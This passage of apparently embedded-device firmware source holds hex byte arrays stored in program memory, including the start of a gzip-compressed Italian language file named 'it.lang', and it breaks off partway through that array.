0x89, 0x18, 0x02, 0xf4, 0x96, 0x8e, 0xed, 0x5e, 0x90, 0x80, 0xc0, 0x2b, 0x4c, 0x81, 0x08, 0x3a, 0x12, 0x6f, 0x1e, 0x3f, 0x24, 0xff, 0xa0, 0xb8, 0x6e, 0x94, 0x06, 0x93, 0xbb, 0xc1, 0xf5, 0xf8, 0x0d, 0x7e, 0x1b, 0x0c, 0x5a, 0xe8, 0x35, 0x3b, 0x5a, 0x53, 0x11, 0x47, 0x2b, 0x36, 0x36, 0xde, 0x0f, 0x52, 0x90, 0xbe, 0xb9, 0xa5, 0x2e, 0xd2, 0xf8, 0x23, 0xba, 0xfe, 0xe8, 0x66, 0xf7, 0xf7, 0x9e, 0xb5, 0x68, 0xe0, 0x71, 0x7c, 0xf2, 0xd9, 0xc9, 0xe1, 0xeb, 0xd7, 0x67, 0x72, 0x36, 0xb2, 0x41, 0xca, 0x62, 0xe1, 0xcb, 0x7b, 0xf9, 0x53, 0xea, 0xdd, 0x41, 0x7f, 0x8e, 0x8e, 0xe0, 0xa7, 0xdf, 0x7c, 0xbd, 0xb5, 0x0d, 0x28, 0x54, 0x5c, 0x0b, 0xcc, 0xce, 0xcc, 0x1b, 0x7b, 0x3b, 0x95, 0x5e, 0x99, 0xab, 0xdc, 0xca, 0xf4, 0x5c, 0xcb, 0x5c, 0xf0, 0xc3, 0x99, 0xf9, 0x93, 0x79, 0xfa, 0x74, 0xd7, 0x1c, 0xfc, 0xc0, 0x2f, 0x5f, 0xec, 0x9a, 0x6f, 0x6d, 0x8b, 0x86, 0x83, 0xef, 0xbf, 0xbf, 0x27, 0xb2, 0xd8, 0x3f, 0x91, 0xb3, 0xc1, 0x61, 0x88, 0x56, 0x6f, 0xf6, 0x5f, 0xae, 0xaf, 0x3f, 0xb5, 0x21, 0x3a, 0xa3, 0x2c, 0xf7, 0x1e, 0x49, 0xe8, 0x6f, 0x30, 0x6b, 0x8e, 0x31, 0xe0, 0x69, 0xb6, 0x67, 0x77, 0x13, 0x3b, 0x92, 0x26, 0x4e, 0xab, 0xf9, 0x04, 0x41, 0x1c, 0x28, 0xf3, 0xbd, 0x7a, 0x66, 0xbc, 0x19, 0xd5, 0xc5, 0x7d, 0x0d, 0xcf, 0xba, 0x4f, 0x6a, 0x28, 0x32, 0xf3, 0xb5, 0xc1, 0xff, 0xa4, 0x57, 0x96, 0xf1, 0x51, 0x75, 0x8a, 0xeb, 0xbe, 0xc8, 0xb5, 0x98, 0x88, 0xf1, 0xac, 0xa2, 0xde, 0xfd, 0x64, 0x06, 0x7d, 0x4c, 0xb6, 0x2b, 0x19, 0x98, 0x45, 0x1e, 0x29, 0x55, 0x14, 0xe5, 0xa6, 0x9e, 0x64, 0x70, 0x1c, 0xc5, 0xfe, 0xd4, 0x07, 0x40, 0x0d, 0x29, 0xfb, 0x4a, 0x46, 0x80, 0xb8, 0xbe, 0x0c, 0x82, 0xf8, 0x5a, 0xfa, 0x92, 0xd2, 0x83, 0xdf, 0xe2, 0xf2, 0x73, 0xd6, 0x33, 0x59, 0x3a, 0x81, 0x6c, 0xeb, 0xca, 0x45, 0x8a, 0x56, 0x9a, 0x55, 0xe8, 0x93, 0x8f, 0xaa, 0x37, 0xf3, 0x61, 0x34, 0xdf, 0x82, 0x3b, 0xb9, 0x24, 0xe8, 0xd6, 0xb8, 0xb2, 0x9f, 0xcc, 0xac, 0xc9, 0x96, 0x40, 0x31, 0xde, 0x92, 0xd3, 0x95, 0xbd, 0xd9, 0xa3, 0x49, 0xbf, 0xf1, 0x30, 0x1d, 0xe3, 0x5e, 0x2b, 0x89, 0xfa, 0x9b, 0xd0, 0x41, 0x55, 0x4a, 0x5f, 0x61, 0x52, 0xdd, 0x3a, 0x7e, 0xc1, 0xd1, 0x07, 0x44, 0xe5, 0x5d, 0xbe, 0x01, 0xcb, 0xbe, 0xc0, 0xb4, 0x8b, 0x7a, 0xf6, 0xfd, 0xbf, 0x1b, 0x7a, 0xdb, 0xa2, 0x24, 0x76, 0xa0, 0xae, 0x9b, 0x67, 0x92, 0x16, 0x01, 0xa5, 0x5d, 0x7f, 0x39, 0x7c, 0x6d, 0x79, 0xd7, 0x31, 0xe0, 0xfd, 0x87, 0xa6, 0x16, 0xbe, 0xde, 0xc9, 0x1d, 0x62, 0xbc, 0xc7, 0x5f, 0x84, 0xbc, 0x80, 0xd7, 0x23, 0x94, 0x24, 0xdc, 0xf0, 0xf6, 0x98, 0x3d, 0xee, 0x9a, 0xa5, 0xb0, 0x61, 0x8e, 0x72, 0x7a, 0xd5, 0xe6, 0xeb, 0xfc, 0x67, 0x0b, 0xa0, 0x01, 0xc2, 0xce, 0x9b, 0xc4, 0x3b, 0x06, 0x22, 0xdc, 0x43, 0x1a, 0x69, 0xd3, 0xdf, 0x63, 0x4b, 0x7a, 0xf6, 0xe5, 0x97, 0xdb, 0x40, 0xa7, 0x71, 0x89, 0x2d, 0x6f, 0x1c, 0x78, 0x15, 0x28, 0x37, 0x81, 0x6b, 0xd7, 0x7f, 0x22, 0x19, 0x48, 0xda, 0x7d, 0x8c, 0x4d, 0xe1, 0xf5, 0xb7, 0x12, 0x61, 0x4e, 0x86, 0x92, 0x1f, 0x9c, 0x57, 0xd4, 0x7d, 0x32, 0xf1, 0x4c, 0x1f, 0x3a, 0xfa, 0xd4, 0xd9, 0xa8, 0x9c, 0xef, 0x48, 0xe9, 0x99, 0x99, 0x04, 0x38, 0xbf, 0xa9, 0x27, 0xe6, 0xb3, 0x26, 0x29, 0x03, 0xc2, 0x94, 0x51, 0x60, 0xec, 0xf9, 0x7c, 0x20, 0x0c, 0xf9, 0x08, 0x23, 0xff, 0x21, 0x75, 0x9c, 0xda, 0xd5, 0xd3, 0x9f, 0x56, 0x57, 0xfe, 0x1f, 0x91, 0x6b, 0x89, 0xa8, 0xd7, 0x47, 0x32, 0x7f, 0x29, 0x9d, 0xae, 0x33, 0xff, 0x5f, 0xda, 0x4c, 0x25, 0x39, 0x12, 0xc3, 0x90, 0x2d, 0xbd, 0x75, 0x80, 0x1a, 0x71, 0xa4, 0x7d, 0x61, 0xfe, 0x6e, 0x94, 0x9e, 0xfd, 0xdd, 0x51, 0x4d, 0xf7, 0x74, 0xc1, 0xcf, 0x92, 0x96, 0x49, 0x1c, 0x26, 0x1f, 0xd2, 0xe2, 0x07, 0xc7, 0xb4, 0x87, 0xce, 0x3a, 0x1c, 0xdd, 0xeb, 0x12, 0xdb, 0x17, 0x2f, 0x34, 0x1f, 0x95, 0x71, 0xe8, 0x10, 0x15, 0xc7, 0x7e, 0xe8, 0x2b, 0x66, 0x6a, 0x0e, 0xa5, 0x43, 0x7f, 0xf4, 0x05, 0xdd, 0xfe, 0x74, 0x6f, 0xaf, 0x62, 0x5a, 0x9e, 0x30, 0x79, 0x73, 0x77, 0x52, 0xd6, 0x21, 0xa3, 0x20, 0x6f, 0x21, 0x34, 0xb1, 0xe5, 0x0f, 0x42, 0xfe, 0xf7, 0xd2, 0x09, 0xc0, 0xc9, 0x14, 0x0b, 0xa7, 0x56, 0x8d, 0x57, 0x41, 0x9c, 0x81, 0xf4, 0xaa, 0x6a, 0xed, 0x8b, 0x98, 0xff, 0x19, 0x8a, 0x92, 0xd8, 0x5b, 0xf6, 0xe9, 0x05, 0xc7, 0xf9, 0x5f, 0xe4, 0x26, 0xc2, 0xa2, 0xa6, 0x97, 0x36, 0xf8, 0xfc, 0xa7, 0x4e, 0xea, 0xff, 0x32, 0xd2, 0x3c, 0xac, 0x63, 0x85, 0x05, 0x09, 0x63, 0xc6, 0x14, 0xb5, 0x63, 0x57, 0xa7, 0x30, 0x4e, 0x3b, 0x79, 0xb0, 0x1a, 0x26, 0xb3, 0x6d, 0x72, 0xcd, 0x59, 0x2e, 0x9e, 0xb8, 0x40, 0x8e, 0xb6, 0x95, 0xe8, 0x1f, 0x9d, 0xea, 0x86, 0x64, 0x1e, 0xa3, 0x81, 0x5c, 0x75, 0x6e, 0xb5, 0xde, 0xfc, 0xd7, 0xed, 0x11, 0x3e, 0x49, 0x06, 0xc6, 0x44, 0x59, 0x91, 0x60, 0x93, 0xd6, 0xc2, 0xdd, 0xfb, 0x11, 0x59, 0x80, 0x81, 0x5f, 0xa6, 0xff, 0xcc, 0x91, 0xcb, 0xfc, 0x7a, 0xbe, 0xed, 0x78, 0xbc, 0xf3, 0xe8, 0x6f, 0x8f, 0x1e, 0xfd, 0x07, 0xb3, 0x91, 0xb0, 0x69, 0x1c, 0x1e, 0x00, 0x00}; +const char itlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x69, 0x74, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x59, 0x4d, 0x73, 0x1b, 0xb9, 0x11, 0x3d, 0x67, 0x7f, 0x05, 0xac, 0x8b, 0xec, 0x2a, 0x5a, 0x2b, 0xc9, 0xd9, 0x2d, 0x67, 0xab, 0x72, 0x50, 0x2c, 0x39, 0xab, 0x8d, 0x2d, 0x29, 0xa6, 0x77, 0x9d, 0x83, 0xab, 0x54, 0xe0, 0x0c, 0x48, 0x22, 0xc1, 0x00, 0x63, 0x60, 0x86, 0xda, 0x28, 0x95, 0x7b, 0x7e, 0x46, 0x8e, 0xc9, 0x35, 0xb7, 0x9c, 0xf5, 0xc7, 0xf2, 0xba, 0x1b, 0x18, 0x0e, 0x47, 0x92, 0x77, 0x53, 0xc9, 0x89, 0x24, 0x3e, 0xba, 0x1b, 0x8d, 0xee, 0xd7, 0xaf, 0xc1, 0xbf, 0x7c, 0xa1, 0xd4, 0x9e, 0xd3, 0x7e, 0xb5, 0xf7, 0x8d, 0xda, 0xb3, 0xdd, 0xde, 0x8c, 0x7e, 0xdf, 0xe8, 0xe8, 0xad, 0x0c, 0x9d, 0xfc, 0xf0, 0xc3, 0xd9, 0xbb, 0xf7, 0xe7, 0x6f, 0xcf, 0x2e, 0xde, 0x5f, 0x62, 0xf2, 0x17, 0x7b, 0xb5, 0x4d, 0x95, 0xd3, 0xb6, 0x31, 0x91, 0xa6, 0x7f, 0xdf, 0x9b, 0xd4, 0x05, 0xd5, 0xc6, 0xb0, 0x32, 0x1d, 0xbe, 0xdc, 0xfd, 0x43, 0xf5, 0x5e, 0xd3, 0xef, 0x8d, 0x56, 0xb5, 0x55, 0x55, 0xf0, 0x15, 0x4f, 0xb4, 0x26, 0xaa, 0x54, 0x85, 0xd6, 0xd2, 0x68, 0x87, 0x4d, 0xca, 0xe0, 0x5b, 0xad, 0xbb, 0xce, 0x56, 0xf6, 0x40, 0x7d, 0xf4, 0x17, 0xd8, 0xea, 0xf6, 0xcf, 0xe6, 0x57, 0x2f, 0x8f, 0xbf, 0xfe, 0x7a, 0xa6, 0xfc, 0xdd, 0x3f, 0x95, 0x75, 0x2a, 0x1a, 0xa7, 0x3b, 0xbb, 0x09, 0x6a, 0x7e, 0xfa, 0x3b, 0x95, 0x82, 0x0f, 0x2a, 0x75, 0x18, 0x28, 0x0a, 0xe9, 0x6b, 0x80, 0x92, 0xd4, 0xc5, 0xde, 0xd2, 0x30, 0xb4, 0x74, 0xda, 0x59, 0x51, 0x45, 0x62, 0x3f, 0xfa, 0xef, 0x3b, 0xeb, 0xec, 0xed, 0xad, 0x56, 0x56, 0x2d, 0xa3, 0x6e, 0x8c, 0xfa, 0x60, 0x9f, 0xbf, 0xb6, 0x6a, 0x83, 0x65, 0x30, 0xa5, 0x36, 0xa9, 0x8a, 0x16, 0x56, 0x28, 0x6f, 0x9c, 0x63, 0xf1, 0xbe, 0xd6, 0xb1, 0x56, 0xe7, 0x67, 0x67, 0x67, 0xea, 0xe5, 0xe1, 0xf1, 0xc1, 0xd1, 0x11, 0x4c, 0xf5, 0xc1, 0xab, 0x85, 0x0b, 0x55, 0xa5, 0xa3, 0x81, 0x46, 0xeb, 0x3b, 0x13, 0x63, 0x68, 0xa0, 0xcf, 0x28, 0xed, 0x2a, 0x3a, 0xf3, 0x32, 0x9a, 0x4f, 0xbd, 0xf1, 0xb7, 0x9a, 0xd4, 0xce, 0xc9, 0x44, 0xb3, 0x62, 0x1f, 0x6c, 0x4c, 0xb4, 0x4b, 0xcb, 0x3b, 0x1d, 0x49, 0x8a, 0x0d, 0x1d, 0x89, 0x7e, 0xac, 0xc8, 0xd4, 0xda, 0x38, 0x3a, 0x4e, 0x1b, 0x2d, 0xbc, 0xa4, 0x4d, 0x32, 0xf8, 0x65, 0x1b, 0xde, 0xd9, 0x67, 0xd3, 0xa3, 0x0b, 0x72, 0x96, 0xb1, 0x58, 0x32, 0x69, 0x49, 0x42, 0x21, 0x1d, 0x1a, 0x1a, 0xe3, 0xe1, 0x66, 0xad, 0x3e, 0x4d, 0x6e, 0xa4, 0x0a, 0x38, 0xf2, 0xc7, 0xbd, 0x3f, 0xea, 0x06, 0x57, 0xf6, 0x71, 0x6f, 0x56, 0x16, 0x34, 0x16, 0x36, 0x77, 0x01, 0xde, 0xa2, 0x9d, 0x86, 0x9c, 0x0d, 0x43, 0x03, 0x7b, 0x2e, 0x90, 0xfc, 0x89, 0xa0, 0x27, 0xd0, 0x0e, 0x9b, 0x03, 0x74, 0xda, 0x19, 0xe6, 0x1b, 0x72, 0x3a, 0x1c, 0x1d, 0x30, 0x54, 0xad, 0xc5, 0x43, 0x6b, 0x8d, 0x1b, 0xd7, 0xad, 0xc5, 0x36, 0xdf, 0x3b, 0x27, 0x11, 0x60, 0xef, 0xfe, 0xc5, 0x0b, 0xa6, 0x86, 0x45, 0xdd, 0xe2, 0x2c, 0x09, 0xca, 0xd9, 0x63, 0x57, 0xfd, 0x62, 0xe1, 0xc4, 0x4b, 0x30, 0x05, 0x71, 0xd3, 0x19, 0xdf, 0x63, 0x59, 0x22, 0x97, 0x72, 0x50, 0xa5, 0xd6, 0xe2, 0xe8, 0xb7, 0x36, 0x78, 0xf8, 0xbc, 0x36, 0xab, 0x5e, 0x77, 0xba, 0x18, 0xa2, 0x59, 0x85, 0x58, 0x27, 0x36, 0x51, 0x28, 0x54, 0x10, 0x38, 0xc3, 0x10, 0xbc, 0x69, 0xbe, 0xc4, 0xa1, 0x8c, 0xd7, 0x38, 0x61, 0xb1, 0x55, 0x2e, 0x0e, 0xee, 0x4b, 0xed, 0x10, 0xa2, 0x4e, 0xe7, 0xbb, 0x30, 0xdd, 0xdd, 0xdf, 0xf9, 0x9a, 0x9d, 0xc3, 0x64, 0xaf, 0x9d, 0x99, 0xd1, 0x24, 0xbc, 0xd9, 0x7b, 0x4b, 0x73, 0x35, 0x96, 0x44, 0x76, 0x94, 0x49, 0x89, 0x84, 0x62, 0xd6, 0x05, 0x84, 0x24, 0xcb, 0x81, 0xdc, 0xc6, 0xae, 0x9c, 0x0d, 0x38, 0xce, 0x10, 0x52, 0x1f, 0xec, 0xeb, 0x1c, 0x93, 0x57, 0x58, 0xd2, 0xe8, 0xd5, 0x0a, 0xf3, 0x16, 0x5a, 0x96, 0x14, 0x13, 0x74, 0x30, 0x04, 0x8b, 0x4d, 0xb6, 0xd3, 0xdf, 0x4c, 0x52, 0xed, 0xf9, 0xa2, 0x87, 0x85, 0x9e, 0x32, 0xee, 0xdb, 0xa0, 0x1c, 0x9b, 0x6b, 0x8a, 0xab, 0xdd, 0xbe, 0xde, 0x60, 0x1b, 0xdb, 0x52, 0xf5, 0x74, 0xfc, 0x36, 0x6a, 0x16, 0x80, 0xec, 0x09, 0xba, 0xa6, 0x5d, 0xef, 0xc8, 0xb3, 0xec, 0x5d, 0x9e, 0x48, 0x95, 0x66, 0x61, 0xf4, 0x99, 0xc8, 0xa1, 0x32, 0x9a, 0x6c, 0x9d, 0x68, 0x78, 0x3e, 0x3f, 0x3f, 0x4d, 0x3c, 0x84, 0xfc, 0xd4, 0xd5, 0x9f, 0x78, 0xf0, 0x84, 0xbe, 0x56, 0x6b, 0x2b, 0x4b, 0x61, 0x02, 0x10, 0x82, 0x27, 0xce, 0x9b, 0x16, 0x57, 0x20, 0xf6, 0xf3, 0x24, 0x1d, 0x88, 0x27, 0x46, 0x07, 0x1b, 0x26, 0xae, 0x53, 0x2b, 0xba, 0xcf, 0x2f, 0x5e, 0x5f, 0xe2, 0x83, 0xb5, 0x38, 0x47, 0x23, 0xef, 0x71, 0x48, 0x59, 0x58, 0xad, 0xb5, 0x47, 0x3e, 0xd2, 0xe0, 0x2b, 0xed, 0xe1, 0x7c, 0xf1, 0x87, 0xd9, 0xd8, 0xca, 0xb0, 0xce, 0x53, 0x5c, 0x5a, 0x80, 0xa7, 0xec, 0x06, 0xe7, 0xd5, 0x6e, 0xa3, 0xbb, 0x62, 0x97, 0x33, 0x55, 0x77, 0x9d, 0x05, 0xce, 0xf1, 0x8b, 0xb4, 0x6b, 0x45, 0xa2, 0x43, 0x16, 0xb2, 0xbb, 0xe6, 0x94, 0x7f, 0x4f, 0x57, 0x45, 0xd3, 0x84, 0x8d, 0x29, 0x6b, 0xde, 0xd9, 0xa6, 0x0f, 0xd0, 0xb4, 0x9d, 0x67, 0x14, 0x0a, 0xfe, 0x9a, 0x1c, 0x78, 0xdd, 0xe1, 0x8a, 0xd8, 0x7e, 0xd3, 0x48, 0xea, 0x0c, 0x6e, 0xa5, 0xe4, 0x46, 0x5c, 0x64, 0xef, 0xc8, 0x29, 0xbc, 0xb9, 0xa1, 0xc5, 0x17, 0x90, 0x98, 0x65, 0xe9, 0x0d, 0x6f, 0x9f, 0xd3, 0x39, 0xf2, 0x05, 0xe9, 0xba, 0x16, 0x0f, 0x26, 0xa4, 0x76, 0xaa, 0x6c, 0x19, 0xbc, 0x16, 0xe3, 0x0d, 0xcf, 0xbe, 0x72, 0x64, 0x34, 0xa2, 0x4c, 0x9d, 0x5c, 0x25, 0x35, 0x1c, 0x23, 0xbb, 0x02, 0xf6, 0xc7, 0x1b, 0x40, 0x9b, 0xc8, 0x0e, 0x9b, 0xa8, 0x09, 0xe9, 0x30, 0x28, 0x1a, 0xc8, 0xe8, 0x6b, 0xc6, 0x31, 0x20, 0xa1, 0xe8, 0x92, 0xef, 0x2e, 0x08, 0x44, 0xe3, 0x2c, 0x62, 0x6f, 0xdf, 0x2c, 0x04, 0xec, 0x2f, 0x7a, 0x84, 0xa2, 0x0c, 0x76, 0x3a, 0x22, 0x8b, 0xf9, 0x2a, 0x2e, 0x17, 0x96, 0x82, 0x61, 0x63, 0x87, 0xc8, 0xba, 0x2e, 0x01, 0xf0, 0x5c, 0xbd, 0x26, 0x44, 0x40, 0x16, 0xaa, 0xd4, 0xab, 0xf9, 0xe0, 0x15, 0xe4, 0x6f, 0x87, 0xf4, 0x86, 0x9a, 0xa5, 0xf5, 0x02, 0x5a, 0x48, 0x91, 0x40, 0x89, 0xff, 0xe6, 0xec, 0x14, 0x40, 0xdb, 0x63, 0x3d, 0x3b, 0x0e, 0x59, 0x5d, 0xe3, 0x03, 0x2e, 0x6d, 0xcd, 0x0a, 0x3b, 0x9f, 0x92, 0x71, 0x1b, 0xc2, 0x0c, 0x42, 0xab, 0xda, 0x3c, 0x23, 0x3c, 0xb3, 0x2c, 0x69, 0xa4, 0xa9, 0x44, 0xfb, 0xc1, 0x47, 0xff, 0x5c, 0xbd, 0xd9, 0xe7, 0x53, 0x2e, 0x11, 0xbc, 0x56, 0xab, 0x1b, 0xb3, 0xe0, 0xf4, 0x4f, 0x3a, 0x72, 0x12, 0x23, 0x8c, 0xbc, 0x5d, 0x58, 0x00, 0x73, 0xdd, 0x47, 0x4d, 0x40, 0xc8, 0x6a, 0x87, 0xfb, 0xb3, 0x02, 0x3d, 0xf9, 0x02, 0xa9, 0x68, 0x91, 0x27, 0x2d, 0x50, 0x03, 0x10, 0xe5, 0x71, 0x70, 0x13, 0x3b, 0xfb, 0x84, 0xf4, 0x6c, 0x83, 0x8d, 0xf1, 0x07, 0x08, 0x10, 0xb2, 0x67, 0x08, 0x3b, 0xb7, 0x09, 0x36, 0xf2, 0x4e, 0xae, 0x9e, 0xd8, 0xe8, 0x2b, 0x94, 0x38, 0x64, 0x1d, 0xf2, 0xdf, 0x40, 0x4d, 0x01, 0xfe, 0x82, 0x4a, 0xfb, 0x9c, 0x87, 0x58, 0xb3, 0x30, 0x1a, 0x7a, 0x15, 0xd5, 0x88, 0xb0, 0x30, 0x7c, 0xbe, 0xcb, 0x15, 0x60, 0x83, 0xf7, 0xb6, 0x3d, 0x41, 0x2d, 0x23, 0x27, 0xd5, 0xa5, 0xec, 0xdb, 0x17, 0xc7, 0x00, 0x8a, 0x48, 0x0e, 0x8f, 0x96, 0x37, 0x5c, 0x40, 0x40, 0xcd, 0xf5, 0x42, 0xe0, 0x96, 0x9d, 0x87, 0xcf, 0xe1, 0x9e, 0x28, 0x0e, 0xcb, 0x95, 0x10, 0xa4, 0x37, 0xa1, 0xe6, 0x02, 0xd6, 0xf1, 0xa9, 0x48, 0x15, 0xcb, 0x39, 0x45, 0x3a, 0xee, 0xee, 0x2c, 0x7e, 0x87, 0x93, 0x90, 0x08, 0x04, 0x97, 0x14, 0xa1, 0xe2, 0xb9, 0xbc, 0x6d, 0x84, 0x2a, 0x23, 0x47, 0x5c, 0x85, 0x0e, 0xa5, 0x40, 0x0a, 0x78, 0x4d, 0xb6, 0x33, 0xd4, 0xc2, 0xbf, 0x49, 0xae, 0x21, 0x1b, 0x43, 0x38, 0x47, 0x17, 0xa2, 0xb2, 0x3b, 0x9e, 0x0c, 0x66, 0x0c, 0xc1, 0x8f, 0xbd, 0x98, 0x47, 0xc0, 0x26, 0x4d, 0xf0, 0x3b, 0x71, 0x5f, 0x6d, 0x74, 0xdf, 0xad, 0xd9, 0xfa, 0x6f, 0x71, 0xb0, 0x05, 0x50, 0x73, 0xe5, 0x83, 0xdc, 0xb2, 0xf8, 0x50, 0xc0, 0xe4, 0x51, 0xb7, 0x6f, 0x87, 0xae, 0x86, 0x0b, 0x18, 0xc7, 0x78, 0x2c, 0x1e, 0xa0, 0xfd, 0x02, 0xf0, 0x6c, 0x93, 0xa3, 0x78, 0x05, 0x7f, 0x90, 0xd2, 0x41, 0x15, 0x9f, 0xb0, 0x94, 0x70, 0xbc, 0xf8, 0xa4, 0x20, 0xea, 0xc8, 0x2b, 0x27, 0x54, 0x9f, 0x50, 0x0e, 0x47, 0xf8, 0x4a, 0x0a, 0xd6, 0xd6, 0xd4, 0xc4, 0x84, 0xb8, 0x76, 0x91, 0x4b, 0xc2, 0x3d, 0x33, 0xe4, 0x0a, 0xd9, 0x06, 0x78, 0xb0, 0x42, 0x64, 0x23, 0x4a, 0xa5, 0x44, 0x9a, 0x72, 0x9d, 0xf8, 0x91, 0xac, 0xa6, 0x10, 0x69, 0x5b, 0x2a, 0xbc, 0x9d, 0x29, 0xa6, 0x30, 0x4c, 0xef, 0xf2, 0xbc, 0x73, 0x8f, 0x20, 0x92, 0x12, 0x43, 0xc4, 0x27, 0xb2, 0x55, 0x11, 0x9e, 0x47, 0xfc, 0xce, 0xb6, 0xa7, 0x46, 0x02, 0x27, 0x2b, 0xb5, 0x09, 0x61, 0x18, 0x03, 0xe5, 0x30, 0xc6, 0x1a, 0x58, 0xde, 0x05, 0x10, 0x40, 0x84, 0x20, 0xc0, 0x5c, 0x2a, 0xa4, 0xa3, 0x80, 0xa4, 0xfa, 0x57, 0x9b, 0x45, 0xbf, 0x3a, 0x28, 0xb0, 0x1a, 0xbb, 0x6b, 0xc8, 0x6c, 0x33, 0xf7, 0x3c, 0xbf, 0x54, 0x5f, 0xaa, 0xf9, 0xfb, 0xcb, 0xab, 0xed, 0xf4, 0x30, 0x93, 0x87, 0x64, 0xed, 0xb0, 0xe6, 0x06, 0x67, 0xbb, 0x0e, 0xcb, 0x25, 0x0d, 0x52, 0xc1, 0x55, 0x97, 0xf8, 0x2e, 0x90, 0xbe, 0x08, 0xa1, 0x13, 0x38, 0x67, 0xaf, 0xe5, 0x51, 0x38, 0x9e, 0x07, 0xf9, 0x0b, 0x0d, 0x81, 0x25, 0x2c, 0x9c, 0xb9, 0x8e, 0x14, 0x72, 0x0d, 0x6b, 0x03, 0x3e, 0xa0, 0x28, 0xd3, 0x25, 0xc2, 0x77, 0xe0, 0x6c, 0x74, 0x89, 0x70, 0x47, 0x3f, 0x14, 0x26, 0x9b, 0x26, 0x5b, 0x4e, 0x69, 0xe4, 0x27, 0x76, 0xc9, 0xea, 0x6b, 0x62, 0xa0, 0x23, 0x2d, 0x12, 0x2c, 0xf7, 0x76, 0xb0, 0xcf, 0x56, 0x94, 0xd8, 0x39, 0xc4, 0xc7, 0xa0, 0x51, 0xd6, 0x58, 0x4f, 0x33, 0x35, 0xc5, 0xaf, 0x1d, 0xd0, 0xfc, 0x20, 0x97, 0x3d, 0x8a, 0xfc, 0x41, 0xd9, 0xab, 0xb5, 0xed, 0xeb, 0x7b, 0x69, 0x56, 0x1b, 0x2b, 0x90, 0x98, 0x2b, 0x2b, 0xfb, 0xcf, 0xfa, 0x8d, 0x15, 0x74, 0xce, 0xfc, 0x99, 0x59, 0x33, 0xa4, 0x09, 0x80, 0x64, 0x3e, 0x46, 0x55, 0x08, 0x21, 0x0d, 0x49, 0xaa, 0x0d, 0x50, 0x4e, 0x18, 0xbf, 0x2b, 0x0c, 0xb1, 0x89, 0x1d, 0xe3, 0x32, 0x85, 0x78, 0xcb, 0x08, 0x08, 0xee, 0x8f, 0x75, 0x49, 0x80, 0xb8, 0xd0, 0xb7, 0x6a, 0x8d, 0x1e, 0xa0, 0x09, 0xae, 0xdb, 0x95, 0x43, 0xe8, 0x5d, 0xf0, 0x11, 0xd1, 0x3b, 0xe6, 0xec, 0x42, 0xd7, 0x6f, 0x9e, 0x1f, 0x1f, 0x1e, 0xfe, 0x8a, 0xa3, 0x1d, 0x71, 0xc0, 0xde, 0x62, 0x56, 0xd7, 0x19, 0xb1, 0x55, 0x42, 0xb3, 0xf0, 0xd1, 0x9c, 0xcf, 0x9c, 0x42, 0x63, 0x7a, 0x3d, 0x46, 0x94, 0x02, 0xe8, 0x03, 0xac, 0x3c, 0x01, 0x74, 0xb3, 0x4f, 0xca, 0x2a, 0x6c, 0xb4, 0x77, 0xff, 0x1e, 0x16, 0xb0, 0x72, 0x94, 0xa9, 0x15, 0xe5, 0x29, 0x02, 0x6b, 0xc5, 0xdd, 0x09, 0x12, 0xb3, 0x22, 0x36, 0x63, 0xb9, 0x86, 0x45, 0x54, 0x35, 0x93, 0x21, 0x6d, 0x80, 0x95, 0x19, 0x80, 0x21, 0x21, 0x4d, 0x70, 0xf1, 0xe0, 0xc7, 0xe8, 0x8f, 0x84, 0x9c, 0xd7, 0x99, 0xd7, 0xdb, 0x22, 0x40, 0x38, 0xac, 0xe6, 0x52, 0x94, 0xfb, 0x8f, 0xe2, 0xc0, 0xcc, 0x4e, 0x77, 0x2b, 0x14, 0x16, 0xb9, 0x69, 0x1d, 0x2c, 0xe9, 0x2e, 0xe0, 0x36, 0x84, 0xc6, 0xf9, 0x80, 0x4d, 0xb6, 0xe0, 0x5e, 0x39, 0xc9, 0x50, 0x96, 0xa4, 0xd3, 0x6a, 0x85, 0xb2, 0x73, 0x87, 0x82, 0xe0, 0xc3, 0x6f, 0xcf, 0x77, 0x95, 0x03, 0x01, 0x3d, 0xcb, 0x79, 0x89, 0x1d, 0xf2, 0xb9, 0xf5, 0x7d, 0x3e, 0xce, 0x56, 0x41, 0x5d, 0x74, 0xcc, 0xe0, 0xca, 0x66, 0x11, 0xf9, 0xe4, 0xe4, 0xbc, 0xae, 0x57, 0x7a, 0xb1, 0x80, 0xa1, 0x55, 0x34, 0x9a, 0xfb, 0x09, 0xf0, 0x19, 0xb4, 0x83, 0x9d, 0x44, 0x25, 0x6c, 0xbf, 0xfb, 0xdb, 0x38, 0x66, 0x5a, 0x53, 0x95, 0x26, 0x8b, 0x42, 0xa4, 0x61, 0xd1, 0x58, 0x4e, 0x97, 0x47, 0x6c, 0x99, 0xcb, 0x0f, 0x1f, 0x97, 0x2b, 0xe7, 0x70, 0xda, 0x37, 0x26, 0x43, 0x6a, 0xea, 0x38, 0xb2, 0x79, 0x76, 0x38, 0x30, 0xc7, 0x3e, 0xfb, 0xff, 0xc1, 0x58, 0xe6, 0x1e, 0x83, 0xe0, 0x98, 0x4a, 0x56, 0x92, 0x40, 0x63, 0x9d, 0x1e, 0x7d, 0x15, 0xb1, 0x96, 0x8e, 0xfb, 0x60, 0xea, 0x2c, 0x21, 0x13, 0x9e, 0xf2, 0xda, 0xdf, 0x12, 0xcc, 0x96, 0x9e, 0x34, 0x9a, 0x49, 0x18, 0x8a, 0xc8, 0x00, 0x00, 0xf6, 0x2c, 0x94, 0x44, 0xa0, 0x54, 0x62, 0x90, 0x73, 0x51, 0x94, 0x91, 0x43, 0x5d, 0x76, 0xc6, 0x70, 0x70, 0xd2, 0x0a, 0x3d, 0xfb, 0x23, 0x5c, 0x10, 0x27, 0x11, 0x50, 0x87, 0x85, 0x66, 0x37, 0x95, 0x46, 0x6d, 0x63, 0x6a, 0xb6, 0x53, 0x3a, 0x20, 0xac, 0xd0, 0xe4, 0xa3, 0x5a, 0x4f, 0xad, 0xa1, 0xcb, 0xa7, 0xd2, 0x25, 0x2d, 0x16, 0x6f, 0x79, 0xa5, 0x51, 0x22, 0x51, 0xa8, 0xf4, 0xc1, 0xb8, 0x6c, 0x5d, 0x73, 0x3c, 0x4b, 0x87, 0x22, 0x34, 0x31, 0x77, 0xbe, 0x0c, 0x2c, 0x33, 0xf4, 0x6b, 0x94, 0x06, 0x4d, 0x8b, 0x8a, 0xbc, 0x39, 0x3e, 0x38, 0x2c, 0x99, 0xaf, 0xc7, 0xc5, 0xcd, 0x08, 0x81, 0x31, 0x14, 0xff, 